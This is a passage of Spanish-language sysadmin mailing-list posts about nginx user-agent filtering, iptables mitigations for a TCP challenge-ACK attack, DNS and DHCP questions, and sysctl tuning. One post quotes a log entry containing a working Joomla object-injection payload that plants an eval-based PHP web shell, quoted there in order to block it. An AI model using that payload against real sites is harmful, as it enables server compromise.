> On Mon, 15 Aug 2016 14:30:50 -0400, Servilio Afre Puentes wrote:
>>
>> Tiene tipo de estar destinado a PHP, en espcifico a Joomla, no 
debe

>> afectar tu servidor en sí.
>
> Si, lo imagino, lo que me da picazón es no poder atajarlo a mi 
gusto.

> ;)

Bueno, atajadlo entonces :D

>>> He estado intentando usar en la configuración de Nginx una 
expresión
>>> regular que me permita impedir el acceso a un user-agent que 
incluya

>>> secuencias de escape y otros caracteres especiales usados en la
>>> codificación de URLs, pero por algún motivo no parece estar
>>> funcionando
>>> del todo bien con secuencias como \x22.
>>
>> Igual te recomiendo q busques una forma de registrar estos 
pedidos,
>> puede q aparezca alguno q use uno de los caracteres "prohibidos" 
y no
>> sea malintencionado, pues según parece se puede poner cualquier 
cosa

>> en ese campo.
>
> Yo guardo trazas de todo, y las reviso regularmente, si bien no he
> realizado (aun) una búsqueda recursiva en el histórico, esos 
caracteres
> son bastante atípicos para un User-agent, de modo que no creo que 
el

> riesgo de denegarlos sea considerable.

Mirando una segunda vez me dí cuenta q mi comentario era "no-op", el
devolver HTTP 400 no debe quitar q se guade en los "logs".

>>> El bloque relevante es este, lo tengo puesto en la sección 
server:

>>>
>>>  if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
>>>  return 400;
>>>  }
>>
>> Una expresión más sencilla y q debe tener el mismo efecto es
>> "[{}=?]|\\x". Para probarla en bash tuve q adicionar un par de 
"\\",
>> puede q necesites hacer lo mismo en Nginx, revisa la 
documentación.

>
> Cierto, bien podría haber usado un arreglo de caracteres. Sin 
embargo,

> por algún motivo incluso algo tan simple como esto no parece estar
> funcionando:
>
>  if ($http_user_agent ~* "\\x") {
>  return 400;
>  }
>
> De modo que ignoro donde puede estar el problema.

¿Probaste usar un "doble-escapado"? O sea "x", con bash tenía q
hacerlo, porque bash interpreta la cadena "consumiendo" cada "\\",
¿puede Nginx esté haciendo lo mismo?

Servilio



O con comillas simples, que no intepreta secuencias de escape

'\\x'



Buena idea, pero lamentablemente nginx parece defecarse en la expresión 
de todas formas. ;)


Lo que me llama la atención es que las expresiones regulares de nginx 
parecen funcionar bien en general, ¿será que en la propia aplicación han 
deshabilitado intencionalmente la verificación de esa secuencia en 
particular?




__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con expresion en Nginx

2016-08-15 Por tema Hugo Florentino

On Mon, 15 Aug 2016 14:30:50 -0400, Servilio Afre Puentes wrote:


Tiene tipo de estar destinado a PHP, en espcifico a Joomla, no debe
afectar tu servidor en sí.


Si, lo imagino, lo que me da picazón es no poder atajarlo a mi gusto. 
;)




He estado intentando usar en la configuración de Nginx una expresión
regular que me permita impedir el acceso a un user-agent que incluya
secuencias de escape y otros caracteres especiales usados en la
codificación de URLs, pero por algún motivo no parece estar 
funcionando

del todo bien con secuencias como \x22.


Igual te recomiendo q busques una forma de registrar estos pedidos,
puede q aparezca alguno q use uno de los caracteres "prohibidos" y no
sea malintencionado, pues según parece se puede poner cualquier cosa 
en

ese campo.


Yo guardo trazas de todo, y las reviso regularmente, si bien no he 
realizado (aun) una búsqueda recursiva en el histórico, esos caracteres 
son bastante atípicos para un User-agent, de modo que no creo que el 
riesgo de denegarlos sea considerable.




El bloque relevante es este, lo tengo puesto en la sección server:

 if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
 return 400;
 }


Una expresión más sencilla y q debe tener el mismo efecto es
"[{}=?]|\\x". Para probarla en bash tuve q adicionar un par de "\\",
puede q necesites hacer lo mismo en Nginx, revisa la documentación.


Cierto, bien podría haber usado un arreglo de caracteres. Sin embargo, 
por algún motivo incluso algo tan simple como esto no parece estar 
funcionando:


if ($http_user_agent ~* "\\x") {
return 400;
}

De modo que ignoro donde puede estar el problema.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con expresion en Nginx

2016-08-15 Por tema Hugo Florentino

On Mon, 15 Aug 2016 09:38:42 -0500, Yoander Valdés Rodríguez wrote:

A primera vista puedo decirte que si lo que deseas parsear no viene
entre llaves no va a casar debido a que al inicio y final de la exp
reg tienes un \{\} por eso tu comando pasa y da un 200 como 
respuesta.





La evaluación dice: si la siguiente expresión (independientemente de 
mayúsculas o minúsculas) está contenida en la cadena del User-agent ...


Y la expresión "(\{|\?|=|&|\\x|\})" es una simple agrupación entre 
paréntesis de posibilidades (nota las barras verticales). A menos que me 
equivoque, significa:


\{ (una llave de apertura), o
\? (un signo de interrogación), o
=  (un signo de igualdad), o
&  (un ampersand), o
\\x (una barra invertida seguida de una x), o
\}  (una llave de cierre)

Si detrás de la llave de apertura o delante de la llave de cierre no 
hubiese una barra vertical, se cumpliría lo que dices, pero no es el 
caso, así que no debe ser ese el problema.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] contramedida para el bug del stack tcp

2016-08-15 Por tema Hugo Florentino

On Mon, 15 Aug 2016 09:26:48 -0400, låzaro wrote:

Thread name: "Re: [Gutl-l] contramedida para el bug del stack tcp"
Mail number: 2
Date: Thu, Aug 11, 2016
In reply to: Hugo Florentino


On Thu, 11 Aug 2016 19:01:19 -0400, Lázaro Armando wrote:
> echo "net.ipv4.tcp_challenge_ack_limit=1073741823" >> 
/etc/sysctl.conf

> sysctl --system
>

Hmm... ese valor me huele a copia-pega a lo "gatillo alegre".

Puede que el valor por defecto de 100 paquetes por segundo pudiera 
resultar
limitado para algunas redes, pero acaso en nuestro país existirá 
realmente
un enlace capaz de enviar más de mil millones de paquetes por 
segundo?


En cualquier caso, si vamos a volvernos locos, por qué no usar el 
valor

máximo positivo para un int32, que es el doble de eso? ;)


cuenta los paquetes broadcasting, mejor que sosobre y no que sofalte



Negativo, dudo mucho que un ACK se vaya a enviar a una dirección de 
broadcast, no tiene sentido alguno.


Elaborando un poco más:

El problema en usar un valor tcp_challenge_ack_limit alto es que 
nuestro servidor podía saturar el enlace de salida con paquetes de tipo 
ACK challenge, causando una denegación de servicios, ya que el upload 
suele estar más limitado que el download.


Para ilustrarlo mejor: supongamos que somos suficientemente afortunados 
de tener un enlace de 2048 kbps para el download y 512 kbps para el 
upload, que según tengo entendido es el máximo que Etecsa permite por 
estos días a entidades no priorizadas por el gobierno.


Concentrémonos en el upload: 512'000 dividido entre 8 (bits que tiene 
un byte) = 64'000 bytes por segundo de transferencia máxima teórica para 
el upload.


Ahora bien, el protocolo TCP necesita para cada paquete como mínimo:

20 bytes para el encabezado tcp

20 bytes para el encabezado ipv4

24 bytes para el frame ethernet:
 * mac destino (6 bytes)
 * mac_origen (6 bytes)
 * longitud (2 bytes)
 * FCS (4 bytes)
 * padding para que el payload tenga el tamaño mínimo permisible de 46 
bytes (6 bytes)


Total: 64 bytes.

De modo que en teoría, un enlace de 512 kbps de upload permitiría un 
máximo de 1000 paquetes por segundo. Pero, por algún motivo desconocido 
(al menos para mi) Etecsa suele entregar en la práctica una capacidad de 
conectividad un 10% inferior a la contratada, así que:


64'000 * 90% = 57'600, de modo que realmente un enlace de 512 kbps no 
debería ser capaz de entregar regularmente más de 900 paquetes TCP por 
segundo.


Si bien el valor tcp_challenge_ack_limit se ha implementado en el 
kernel de manera global, no todos los paquetes que saldrán del equipo 
serán de tipo ACK challenge, por lo que personalmente, dudo que sea 
necesario exceder un valor de 10'000, especialmente si se combina con 
reglas de limitación de paquetes en netfilter como sugerí en otro 
mensaje.


Ahora bien, si desconfiamos no solo de la interfaz externa sino también 
de la interna, es solo cuestión de hacer un cálculo similar para la 
interfaz interna (y cualquier otra que se necesite considerar), y sumar 
los resultados.


Saludos, Hugo


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Duda con expresion en Nginx

2016-08-14 Por tema Hugo Florentino

Hola colegas,

Aunque uso nginx-naxsi que permite cierto nivel de protección, 
recientemente he visto en las trazas algunos intentos de explotar 
posibles vulnerabilidades en el servidor web modificando el user-agent 
para intentar la creación de un archivo php (que en este caso no se 
creó) y su posterior uso [1].


He estado intentando usar en la configuración de Nginx una expresión 
regular que me permita impedir el acceso a un user-agent que incluya 
secuencias de escape y otros caracteres especiales usados en la 
codificación de URLs, pero por algún motivo no parece estar funcionando 
del todo bien con secuencias como \x22.


El bloque relevante es este, lo tengo puesto en la sección server:

if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
return 400;
}

Lo estoy probando con el siguiente comando:

wget -q --header='User-Agent: Solo una prueba de "secuencia" de 
\x22escape\x22.' http://elsitio.tld


Veo en las trazas que en lugar de Nginx devolver un código 400 como uno 
esperaría, está devolviendo un 200, es decir, está entregando la página 
principal del sitio cuando no debería hacerlo.


¿Alguna idea de que puede estar ocurriendo?

Saludos, Hugo


[1] -

121.205.243.117 - - [13/Aug/2016:02:09:50 -0400] "GET / HTTP/1.1" 200 
239 "-" 
"}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:236:\x22file_put_contents($_SERVER[\x22DOCUMENT_ROOT\x22].chr(47).\x22myshe.php\x22,\x22|=|\x5Cx3C\x22.chr(63).\x22php 
\x5Cx24mujj=\x5Cx24_POST['hh'];if(\x5Cx24mujj!=''){\x5Cx24xsser=base64_decode(\x5Cx24_POST['z0']);@eval(\x5C\x22\x5C\x5C\x5Cx24safedg=\x5Cx24xsser;\x5C\x22);}\x22);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}~\xD9"


121.205.243.117 - - [13/Aug/2016:02:09:51 -0400] "GET //myshe.php 
HTTP/1.1" 444 0 "http://www.googlebot.com/bot.html; "Mozilla/5.0 
(compatible; Googlebot/2.1; +http://www.google.com/bot.html)"


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] contramedida para el bug del stack tcp

2016-08-12 Por tema Hugo Florentino

Hola colegas,

Después de leer el documento "Off-Path TCP Exploits: Global Rate Limit 
Considered Dangerous", veo que los paquetes RST son un componente 
esencial para este tipo de ataques, de modo que quizás sea posible 
mitigarlo apoyándose en netfilter.


Tengo que estudiar mejor la secuencia de paquetes necesarias para ese 
ataque, pero me parece que algo como esto podría funcionar incluso sin 
modificar el valor de tcp_challenge_ack_limit:


iptables -t raw -N ANTIRST
iptables -t raw -A ANTIRST -m recent --name malware --set -j RETURN
iptables -t raw -A PREROUTING -p tcp -m tcp --tcp-flags RST RST -m 
recent --name malware --update --hitcount 10 --seconds 30 --rttl -j DROP
iptables -t raw -A PREROUTING ! -i lo -p tcp -m tcp --tcp-flags RST RST 
-m hashlimit --hashlimit-mode srcip,dstip,srcport,dstport 
--hashlimit-above 5/second -j ANTIRST


La idea es que no se permitan mas de 5 intentos de tcp-reset por 
segundo para un mismo origen/destino (excluyendo la interfaz local) y 
que en caso de ocurrir esto por 10 veces en menos de medio minuto, se 
prohiba tal comportamiento a la ip origen durante medio minuto, que 
debería ser tiempo suficiente para pasar a otro window y que de esta 
manera el número de secuencia sea inválido para el ataque.


Me parecen valores razonablemente conservadores, ya que en la vida real 
es muy poco probable que un equipo mande a restablecer una misma 
conexion tantas veces, pero en cualquier caso el efecto no tendría una 
duración excesiva.


Diganme que les parece
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Varias dudas con cortafuegos

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 17:45:14 -0400, Arian Molina Aguilera wrote:
etecsa muchas veces ni records soa ni dns ponen a zonas que le han 
sido

delegadas, más bien agregan par de records, quizás un A, y MX, en el
mejor de los casos un PTR en la inversa. Por eso no me gusta que 
ellos

administren mis zonas de dns.


Candela!
De cualquier manera no creo que jamás haya existido una delegación para 
esa subred, de modo que esos paquetes con destino al puerto udp 53 serán 
descartados sin piedad. ;)

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] contramedida para el bug del stack tcp

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 19:01:19 -0400, Lázaro Armando wrote:
echo "net.ipv4.tcp_challenge_ack_limit=1073741823" >> 
/etc/sysctl.conf

sysctl --system



Hmm... ese valor me huele a copia-pega a lo "gatillo alegre".

Puede que el valor por defecto de 100 paquetes por segundo pudiera 
resultar limitado para algunas redes, pero acaso en nuestro país 
existirá realmente un enlace capaz de enviar más de mil millones de 
paquetes por segundo?


En cualquier caso, si vamos a volvernos locos, por qué no usar el valor 
máximo positivo para un int32, que es el doble de eso? ;)

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Varias dudas con cortafuegos

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 11:24:35 -0400, Ulises Gonzalez wrote:

On 08/11/2016 10:23 AM, Hugo Florentino wrote:


En realidad si que puede haber casos válidos de servicios corriendo 
en la 127.0.0.1, por ejemplo en este caso dnsmasq escucha en todas las 
interfaces menos la externa.
Lo que me llama la atencion es que el paquete se origina con la MAC 
00:00:00:00:00:00 cuando la mayoria de los paquetes que se originan en 
el propio servidor no usan MAC alguna, o al menos asi aparece en las 
trazas.


Pueden haber X servicios escuchando por 127.0.0.1, pero eso solo es
accesible para la maquina local, nade por la red puede hacer
telnet/ping 127.x.x.x esperando comunicarse con la "maquina vecina"
pues en el mejor de los casos solo te va a responder tu propia 
maquina

incluso puedes usar localmente tu servicio que escucha por 127.0.0.1
sin tener ninguna conexion a ninguna red,


Si, eso es obvio.
El paquete realmente circulaba estrictamente dentro de la propia 
máquina, mi duda como ya dije es con la MAC.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Varias dudas con cortafuegos

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 11:27:59 -0400, Ulises Gonzalez wrote:

On 08/11/2016 10:23 AM, Hugo Florentino wrote:


La subred no ha recibido una delegación de zona por parte de Etecsa, 
por lo que las entradas del DNS público están exclusivamente en los 
nameservers de Etecsa. Sin embargo, cada cierto tiempo hay paquetes 
udp provenientes de los nameservers de Etecsa con destino al puerto 
53, en otras palabras parece que los nameservers de Etecsa estuviesen 
intentando hacer consultas a una red que no tiene hecha una delegación 
de zona, a lo cual personalmente no le veo sentido alguno, pero como 
en nuestro país somos atípicos, decidí preguntar aquí.


No te parece que puedan ser preguntas hechas por humanos intentando
saber si hay algun dns activo para hacer una delegaci'on efectiva (en
caso que se haya solicidado ese servicio) ??

Pues si el dns no esta publicado (nadie le ha delegado nada) entonces
tienes un servidor (ahora no recuerdo el nombre que tiene eso) pero
que basicamente lo que dice es que no forma parte el arbol dns
mundial, por lo cual tienes toda la razon al decir que nadie deberia
consultarlo a menos que sepas que exista



Que yo sepa, no hay solicitada delegación alguna.

Además, si hago por ejemplo esta consulta:

dig +multiline @ns1.etecsa.net. -t soa eldominio.co.cu.

No obtengo una ANSWER SECTION y en cambio observa:

;; AUTHORITY SECTION:
co.cu.  2000 IN SOA ns1.etecsa.net. admin.enet.cu. (
2016081000 ; serial
7200   ; refresh (2 hours)
1800   ; retry (30 minutes)
1209600; expire (2 weeks)
2000   ; minimum (33 minutes 20 seconds)
)

Similarmente, si hago esta consulta el resultado es exactamente el 
mismo:


dig +multiline @ns1.etecsa.net. -t ns eldominio.co.cu.

O sea que por ninguna parte veo justificadas esas consultas 
provenientes de los nameservers de Etecsa.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] postfix, dovecot

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 08:00:11 -0400, Juset Castañeda A wrote:

[...]
Bueno hace ya un tiempo hice uno para mi paso a paso de lo que iba
haciendo descárgalo desde aquí
http://www.cmg.provari.cu/descarga/Postfix+Dovecot+MySQL_OK.pdf



ERROR 403: Forbidden.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Varias dudas con cortafuegos

2016-08-11 Por tema Hugo Florentino

On Thu, 11 Aug 2016 08:04:52 -0400, Ulises González Horta wrote:

El jue, 11-08-2016 a las 03:32 -0400, Hugo Florentino escribió:

1- ¿Hasta que punto es válido que un nameserver de Etecsa realice
consultas DNS a una subred a la cual aun no han realizado una
delegación de zona?


Hugo, esta pregunta no la entiendo el todo,  es el Dns de Etecsa 
quien
responde abiertamente consultas sobre una zona de la cual el no tiene 
el
SOA  (pudiera ser válido) o es el Dns de Etecsa quien hace consultas 
a
otros servidores sobre una red de la cual el no tiene el SOA o es el 
DNS

de Etecsa quien pregunta cosas de una red que no se le ha delegado a
nadie en el árbol dns??


La subred no ha recibido una delegación de zona por parte de Etecsa, 
por lo que las entradas del DNS público están exclusivamente en los 
nameservers de Etecsa. Sin embargo, cada cierto tiempo hay paquetes udp 
provenientes de los nameservers de Etecsa con destino al puerto 53, en 
otras palabras parece que los nameservers de Etecsa estuviesen 
intentando hacer consultas a una red que no tiene hecha una delegación 
de zona, a lo cual personalmente no le veo sentido alguno, pero como en 
nuestro país somos atípicos, decidí preguntar aquí.



2- ¿Hasta que punto es válido que el servidor responda desde la
intefaz
local y utilizando la MAC 00:00:00:00:00:00 a paquetes de consultas
DNS
locales? (se emplea dnsmasq para uso interno)



En ninguna red de ningún tipo debe haber un paquete cuya dirección de
origen o destino sea 127.0.0.1 ahora no recuerdo que rfc definia eso
pero un buen punto de partida es la rfc 3330 si mal no recuerdo igual
recomiendo esta rfc para muchas personas en el mundo pues me hierve 
la

sangre que da vez que veo una lan con una ip como 50.x.x.x. La
127.x.x.x/8 esta limitada a usos de loopback, esta limitado su uso a 
esa
interfaz, además forma parte de las direcciones privadas no 
routeables
en redes públicas así que si no debe estar en una red privada menos 
en

una red wan pública


En realidad si que puede haber casos válidos de servicios corriendo en 
la 127.0.0.1, por ejemplo en este caso dnsmasq escucha en todas las 
interfaces menos la externa.
Lo que me llama la atencion es que el paquete se origina con la MAC 
00:00:00:00:00:00 cuando la mayoria de los paquetes que se originan en 
el propio servidor no usan MAC alguna, o al menos asi aparece en las 
trazas.



3- (Este punto queda aclarado entonces, gracias)


4- ¿Hasta qué punto es válido que un equipo envíe paquetes con 
estado

RELATED pero por protocolo TCP y desde puertos que ningún servicio
está
utilizando y que además no se han permitido explícitamente como
destino
en las cadenas INPUT ni FORWARD (teniendo el cortafuegos políticas 
de

denegación por defecto en ambas)?



Eso es posible particularmente si tienes un FTP en modo pasivo, si 
vez

la traza de un ftp en este modo (no tengo ninguna a mano ahora) veras
algo como esto, supongamos que la ip de destino es 1.1.1.1, verías 
algo

así [...]



Pero es que sencillamente no es el caso, no hay ningún servicio FTP 
local, ni tampoco parecio iniciarse durante ese tiempo ningún tipo de 
conexión desde la red local a un puerto 21 remoto.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Varias dudas con cortafuegos

2016-08-11 Por tema Hugo Florentino

Hola colegas,

En estos días me he "entretenido" revisando las trazas y modificando la 
configuración de un servidor todo-en-uno, y me han surgido unas dudas, 
perdonen si las pongo todas en un mismo mensaje.


1- ¿Hasta que punto es válido que un nameserver de Etecsa realice 
consultas DNS a una subred a la cual aun no han realizado una delegación 
de zona?


2- ¿Hasta que punto es válido que el servidor responda desde la intefaz 
local y utilizando la MAC 00:00:00:00:00:00 a paquetes de consultas DNS 
locales? (se emplea dnsmasq para uso interno)


3- Si el servidor está inmediatamente detrás de un router, y hace 
regularmente consultas a un nameserver público de Google como fallback a 
los nameservers de Etecsa, ¿cuán válido puede ser que este nameserver de 
Google envíe de vez en cuando desde el puerto 53 nuevos paquetes udp al 
rango de puertos 4-44644? ¿No se supone que quien debería establecer 
el tamaño máximo de no fragmentación es el router, que es el primer 
elemento físico de la red con la cual el nameserver intenta comunicarse?


4- ¿Hasta qué punto es válido que un equipo envíe paquetes con estado 
RELATED pero por protocolo TCP y desde puertos que ningún servicio está 
utilizando y que además no se han permitido explícitamente como destino 
en las cadenas INPUT ni FORWARD (teniendo el cortafuegos políticas de 
denegación por defecto en ambas)?


Por ejemplo:
Interfaz de origen: (N/A)
Interfaz de destino: eth1 (WAN)
IP de origen: IP externa asignada por Etecsa
IP de destino: varias (45.33.120.128, 45.56.74.212, 71.6.135.131, 
93.115.85.145, 93.174.95.106, 94.102.49.174, 95.85.21.223, 
139.162.34.142, 209.58.129.109, etc.)

Protocolo: TCP
Puertos de origen: varios (175, 2252, 3000, , 3391, 5009, 8090, 
8443, etc.)

Puerto de destino: varios (generalmente superiores al 25000)
Estado: RELATED

5- ¿Acaso existe un tamaño máximo permitido sin fragmentación (en 
bytes) para una operación de traceroute? En tal caso, ¿alguien conoce el 
valor?


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre entrevista (OT)

2016-08-04 Por tema Hugo Florentino

On Thu, 04 Aug 2016 10:10:41 -0400, Maikel Enrique Pernía Matos wrote:
¿Pueden conseguir la entrevista y colgarla en GUTL, para acceder a 
ella

quienes no la hemos visto?


No creo porque se transmitio en vivo, me parece que un amigo la grabo 
pero no con cajita sino desde antena, asi que la calidad debe ser bien 
pobre porque el vive por Wajay y la señal alli es mala.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Sobre entrevista (OT)

2016-08-03 Por tema Hugo Florentino

Hola colegas,

Para los que me vieron en la entrevista que me hicieron en el Canal 
educativo esta tarde (revista "Tengo algo que decirte"), pido disculpas 
si cometi cualquier pifia o deje de mencionar algo importante, sucede 
que me enteré en el lugar de que la entrevista era en vivo, y estaba un 
poco nervioso porque el tiempo estaba bastante justo y estos temas son 
bastante desconocidos por la población.


Seguramente Pablo hubiese dado detalles más precisos sobre los 
proyectos nacionales, pero intenté hacer un esfuerzo decoroso, como 
diría mi profe de filosofía (también puede haber influido que algunos 
proyectos tienen nombres casi tan complejos de memorizar como las 
propias siglas de nuestro grupo, jejeje).


A propósito, sería bueno que los miembros del grupo que hayan 
desarrollado algún software libre que aun no forme parte de nuestro 
RepoGUTL, se pongan en contacto con nostros para agregarlo (que 
naturalmente no quiere decir que se le quitará su debido mérito).


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] arptables, ebtables, iptables, nftables

2016-08-03 Por tema Hugo Florentino

Me explico un poco mejor:

Sucede que me gustaría imponer un límite máximo de peticiones por 
minuto al puerto udp 67, pero obviamente evaluando por dirección mac, ya 
que si utilizo la coincidencia limit con la ip de origen 0.0.0.0 tendria 
un efecto global y habra maquinas que tardarán más de la cuenta en 
conectarse, y lo que me interesa es limitar peticiones al dhcp desde una 
misma mac. Lo ideal sería algo como hashlimit pero lamentablemente solo 
funciona con direcciones ip. Se supone que en general una misma mac no 
debería enviar más de 4 paquetes sucesivos de peticiones y luego 
simplemente renovaría el lease en el rango de tiempo especificado, pero 
hay equipos mal configurados, con virus o francamente intentando atacar 
el dhcp para colarse en la red, y quiero reducir este riesgo en lo 
posible.


Hasta ahora no se como lograrlo con arptables, ebtables o iptables, 
pero me parece que podría conseguirlo con nftables. el problema es que 
hay cosas que aun no pueden hacerse con nftables, como por ejemplo 
definir un limite de conexiones con estado ESTABLISHED desde una misma 
ip (o sea, lo que en iptables se logra con la coincidencia connlimit) 
para un servicio en particular.


De ahi que este valorando combinar varios filtros, pero me disgustaría 
duplicar funcionalidad, y por otra parte no se hasta que punto un 
paquete que ya se ha aceptado en un filtro llegará a evaluarse en otro 
filtro.


Actualmente estoy combinando arptables e iptables, y el primero parece 
evaluarse antes del segundo sin problemas (parece que lo mismo debería 
ocurrir con ebtables), pero si incorporo nftables a la mezcla no tengo 
ni idea de en que lugar ira.


Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] arptables, ebtables, iptables, nftables

2016-08-03 Por tema Hugo Florentino

Hola colegas,

He estado buscando el orden de evaluación de los filtros que menciono 
en el asunto (arptables, ebtables, iptables, nftables), pero hasta ahora 
solo he podido encontrar información vaga.


Si alguien conoce el orden preciso en que se evaluan estos filtros 
(preferiblemente tomando en consideración tablas y cadenas, etc), por 
favor compártalo.


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre netfilter y los TTL

2016-07-27 Por tema Hugo Florentino

On Wed, 27 Jul 2016 16:15:32 -0400, Ulises Gonzalez wrote:

On 07/27/2016 03:44 PM, Hugo Florentino wrote:
OK, dado que hay algún interés, he aquí la página. Aún está verde, 
pero para empezar sirve.



https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:parametros_kernel_sysctl


Espero poder mandarte mis primeros aportes en la noche, tambien creo
que seria bueno, si alguien quiere saber algo de algun parametro, que
nos los haga saber para hacer la correspondiente investigacion..


Personalmente tengo mis dudas en como funciona el handshake en el caso 
del protocolo SPDY o en el caso de los sitios web que hacen push.


También tengo por alguna parte apuntados unos parámetros del kernel 
sobre los cuales no pude encontrar información clara, luego los busco.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Sobre netfilter y los TTL

2016-07-27 Por tema Hugo Florentino

On Wed, 27 Jul 2016 14:09:43 -0500, Wilfredo Martínez Consuegra wrote:

+1


OK, dado que hay algún interés, he aquí la página. Aún está verde, pero 
para empezar sirve.


https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:parametros_kernel_sysctl

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Sobre netfilter y los TTL

2016-07-27 Por tema Hugo Florentino

Mely, Moya, Whilo, Ulises y otros colegas experimentados:

Dado que no he logrado conseguir lo que buscaba (encontrar el TTL es 
fácil, pero no así modificarlo) propongo preparar una página en la Wiki 
con algunos de los parámetros del kernel útiles para optimizar un 
sistema. Sucede que hay mucha información al respecto, pero muy poca 
está investigada a fondo y fácilmente pueden encontrarse en una misma 
recomendación conjuntos de parámetros cuyos valores se contradicen o 
sencillamente no explican para qué sirven.


Personalmente he estado buscando recomendaciones de optimización, 
leyendo detenidamente ip_sysctl.txt y otra documentación, e incluso 
buscando en los headers del código fuente del kernel, y hay parámetros 
cuyo propósito sencillamente no encuentro.


De modo que si les parece bien, crearé una página que sirva más bien 
como base o plantilla para irla expandiendo con el aporte de todos. Así 
quedará disponible una referencia útil de acceso tanto internacional 
como nacional (para nuestros colegas menos favorecidos).


¿Se animan a sumarse?

Saludos, Hugo

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

[Gutl-l] Sobre netfilter y los TTL

2016-07-25 Por tema Hugo Florentino

Hola colegas,

Desde hace un tiempo tengo picazón con algunos paquetes TCP con un TTL 
alto. Uno puede establecer con sysctl un TTL más bajo, pero los clientes 
a veces ignoran esta preferencia.


Netfilter tiene el destino TTL con la opción --ttl-set que pareciera 
